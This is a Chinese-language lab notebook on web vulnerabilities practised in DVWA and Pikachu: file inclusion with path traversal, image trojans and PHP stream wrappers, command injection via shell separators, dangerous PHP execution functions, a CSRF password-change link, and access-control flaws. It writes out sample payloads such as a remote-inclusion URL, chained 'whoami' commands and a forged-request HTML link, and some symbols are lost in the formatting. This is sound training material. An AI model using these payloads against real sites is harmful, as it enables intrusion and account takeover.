DVWA 靶场 Web 基础漏洞完整实操笔记:文件包含 / 命令注入 / CSRF / 越权全解析

📅 2026/8/2 5:02:32
DVWA 靶场 Web 基础漏洞完整实操笔记:文件包含 / 命令注入 / CSRF / 越权全解析
前言这份笔记基于 phpstudy 本地 Windows 环境、DVWA 漏洞平台实操记录完整记录文件包含、命令执行、CSRF、越权、漏洞扫描相关全部知识点包含实操截图对应的操作步骤、底层原理、函数区别、工具使用原文所有内容全部保留仅优化语句通顺度无任何知识点删减。一、文件包含漏洞打开 DVWA 文件包含页面时页面提示The PHP function allow_url_include is not enabled代表当前配置不支持远程文件包含。DVWA文件包含页面提示1. 配置修改操作需要修改 php 配置文件找到配置项allow_url_includeOn修改完成后保存文件再重启 nginx 服务生效。php.ini配置修改2. 基础文件包含实操DVWA 文件包含功能目录路径F:\phpstudy_pro\WWW\dvwa\vulnerabilities\fi目录内存在 file1.php、file2.php、file3.php、file4.php、include.php、index.php 等文件。fi目录文件列表访问页面时传入参数?pageaaa.php页面会读取对应文件内容示例访问?pagefile3.php页面输出 admin 欢迎信息、本机 IP、访问来源地址、服务器主机地址。file3.php访问效果3. 路径穿越读取上级文件如果想要访问上级目录中的文件可以使用相对路径符号../向上跳转层级。实操在 vulnerabilities 同级目录新建 phpinfo.php 文件通过路径穿越读取该文件。新建phpinfo.php文件4. 图片木马利用原理文件包含漏洞不会校验文件后缀、文件类型只要文件内存在 PHP 代码标识尖括号就会解析执行内部 PHP 语句。实操步骤将写入?php phpinfo();?代码的文件重命名为 tupian.png 图片文件图片木马文件修改后缀为 jpg构造访问链接192.168.50.1/dvwa/vulnerabilities/fi/?pagephpinfo.jpg访问后页面正常输出完整 phpinfo 信息证明图片内 PHP 代码成功执行。图片木马执行phpinfo效果5. 四种包含函数核心区别漏洞页面底层源码使用 include、require 系列函数接收 GET 可控参数page四类函数执行逻辑存在差异phpif (isset($_GET[page])) { include $_GET[page]; include_once $_GET[page]; require $_GET[page]; require_once $_GET[page]; }include文件读取失败仅抛出警告后续代码可以继续执行require文件读取失败直接终止整个程序运行include_once /require_once会自动判断文件是否已加载避免重复引入同一个文件。包含函数源码截图可前往 PHP 官方文档搜索include 关键字查看函数官方详细说明。PHP官网查询include6. 文件包含两大分类LFI 本地文件包含Local file inclusion读取服务器本地存在的文件依靠../路径穿越遍历目录RFI 远程文件包含Remote file inclusion开启 allow_url_include 后加载外部远程服务器的 php 脚本。LFI与RFI区分远程包含示例payloadinclude.php/?pagehttp://192.168.50.158/test.php可跨服务器加载恶意代码。远程文件包含访问示例7. PHP 内置伪协议体系PHP 自带多类 URL 风格封装协议可配合文件包含函数使用常用协议清单协议功能描述file://访问本地系统文件http:///https://访问远程 HTTP 网址ftp://访问 FTP 地址资源php://读写输入输出数据流zlib://压缩流处理data://内联数据执行遵循 RFC 2397 标准PHP封装伪协议表格重点伪协议php://inputphp://input属于只读数据流作用是读取原始 HTTP 请求体Request Body内容在 PUT、DELETE 请求或是接收 JSON、XML 非表单 POST 数据时使用。php://input介绍data://配合 Base64 编码使用将 PHP 代码进行 Base64 编码可通过 data 协议直接执行。示例代码?php phpinfo();?编码后字符串为PD9waHAgcGhpbmZvKCk7Pz4可使用在线 Base64 加解密工具完成转换。Base64在线编码工具补充零散笔记内容日志位置可读取服务器各类日志文件URL 编码漏洞利用场景中部分特殊字符需要 URL 编码绕过过滤文件包含核心特点只要文件中识别到 PHP 尖括号标识内部代码就会被服务器执行查看网站源代码相关教程可结合伪协议 php://filter 读取源码。无关前置基础笔记计算机之间传输数据时字节最终会转换为模拟电磁波信号电信号 / 光信号按传输介质不同分为两层逻辑层数字信号计算机内部高低电平方波无法长距离传输物理层模拟信号远距离传输实际使用的信号形式。计算机数据传输信号讲解二、命令执行与命令注入漏洞1. DVWA 命令注入实操场景靶场 Command Injection 功能为 Ping 设备页面原始功能接收 IP 参数执行 ping 系统命令。DVWA命令注入页面2. 命令分隔符利用规则以 Windows 终端实操演示分隔符效果基础原始命令ping 192.168.50.1前一条命令执行成功后才会执行后方命令payload192.168.50.1 whoami||前一条命令执行失败后才会执行后方命令payloadaaaa || whoami|管道符直接输出后一条命令执行结果两条命令并行执行文件重定向符号 单大于号覆盖写入目标文件 双大于号追加内容到目标文件末尾执行命令特殊符号一对反引号 whoami会直接执行符号内的系统命令并返回输出结果单个 符号同样可以拼接多条命令。终端实操演示效果输入ping 192.168.50.1 || whoami执行完 ping 后输出当前系统用户信息。终端命令分隔符实操3. 四类易混淆安全概念区分代码执行Code Execution用户输入被解析为编程语言代码执行函数 eval、模板表达式、反序列化由 PHP/Java 等语言运行时执行系统命令执行OS Command Execution程序调用操作系统底层 shell 接口函数 system、exec、shell_exec由 cmd.exe 或 /bin/sh 执行命令注入Command Injection用户输入拼接进合法系统命令篡改原有命令语法结构由 Shell 解释器执行远程代码执行RCE攻击者通过网络远程触发代码 / 系统命令执行包含模板注入、命令注入、框架漏洞等场景逻辑总结RCE 是最终危害统称代码执行、系统命令执行代表执行方式命令注入是输入破坏命令边界的漏洞成因。四大漏洞概念对比表4. PHP 危险执行函数1系统命令执行函数能够直接调用操作系统命令的函数清单system ()、exec ()、shell_exec ()、passthru ()、popen ()、一对反引号系统命令危险函数列表2回调函数 call_user_func ()核心特性call_user_func 会把传入的第一个参数当做函数名调用剩余内容作为函数参数可用于绕过过滤执行系统命令。call_user_func函数说明1call_user_func函数说明2示例利用代码phpcall_user_func(system,whoami); eval(call_user_func(system,whoami));普通示例自定义函数 barber通过 call_user_func 调用phpfunction barber($type) { echo You wanted a $type haircut, no problem; } call_user_func(barber, mushroom); call_user_func(barber, shave);call_user_func利用示例3PHP 代码执行函数eval ()接收字符串直接解析执行内部 PHP 代码assert ()断言函数传入字符串同样可以执行 PHP 代码。eval与assert函数讲解补充 PHP 基础笔记完整保留无删减PHP 中查看数组内部内容常用 var_dump ()输出内容包含数据类型、长度、值适合代码调试场景。PHP打印数组方法三、CSRF 跨站请求伪造漏洞1. 漏洞核心原理前提条件用户已经登录目标网站浏览器本地保存网站登录 Cookie 凭证攻击流程攻击者搭建恶意网页诱导用户访问页面自动发起目标网站操作请求浏览器会自动携带用户登录 Cookie服务器无法区分请求是否由用户主动发起。示例逻辑用户登录淘宝后访问恶意网页恶意页面自动携带淘宝 Cookie 发起操作请求。CSRF攻击逻辑流程图2. DVWA CSRF 修改密码实操构造恶意 HTML 页面超链接直接指向修改密码接口GET 参数携带新密码配置htmla hrefhttp://192.168.50.1/dvwa/vulnerabilities/csrf?password_newopenlab123password_confopenlab123点击链接/a已登录 DVWA 的用户点击该链接账号密码会被强制修改链接内参数就是修改账号密码的操作指令。恶意HTML页面代码四、越权漏洞越权分为水平越权、垂直越权两类本地演示靶场为 Pikachu。Pikachu越权功能页面水平越权相同权限等级的用户之间未做数据隔离可以互相查看、修改对方私有数据垂直越权高低权限区分失效低权限普通用户可以访问管理员专属页面、查看管理员数据。五、Web 漏洞扫描工具 Acunetix1. 使用规范必须获得目标站点授权之后才能开展漏洞扫描无授权扫描网站属于违规违法行为。2. 工具扫描结果说明Acunetix 扫描后会区分高危、中危、低危漏洞自动爬取网站页面检测文件包含、目录遍历、脆弱前端组件、未加密传输等漏洞。Acunetix扫描后台界面3. 工具使用注意事项工具扫描识别出的漏洞不能直接采信工具存在误报情况每一条扫描结果都需要人工二次验证、复现确认漏洞真实存在。全文总结文件包含漏洞核心风险用户可控文件路径参数无过滤衍生路径穿越、图片木马执行、伪协议读取源码 / 执行代码命令注入核心成因用户输入直接拼接系统 Shell 命令各类命令分隔符是主要利用手段system、eval、call_user_func 等高危函数需要重点防护CSRF 攻击依靠浏览器自动携带 Cookie 的特性无请求校验 Token 时极易触发越权漏洞根源是后端接口未做用户数据、访问权限校验漏洞扫描工具仅作为资产巡检辅助工具人工复现验证是渗透测试必不可少的步骤所有 Web 通用防护思路严格过滤用户输入、配置白名单、完善接口权限鉴权、Web 服务采用最小运行权限。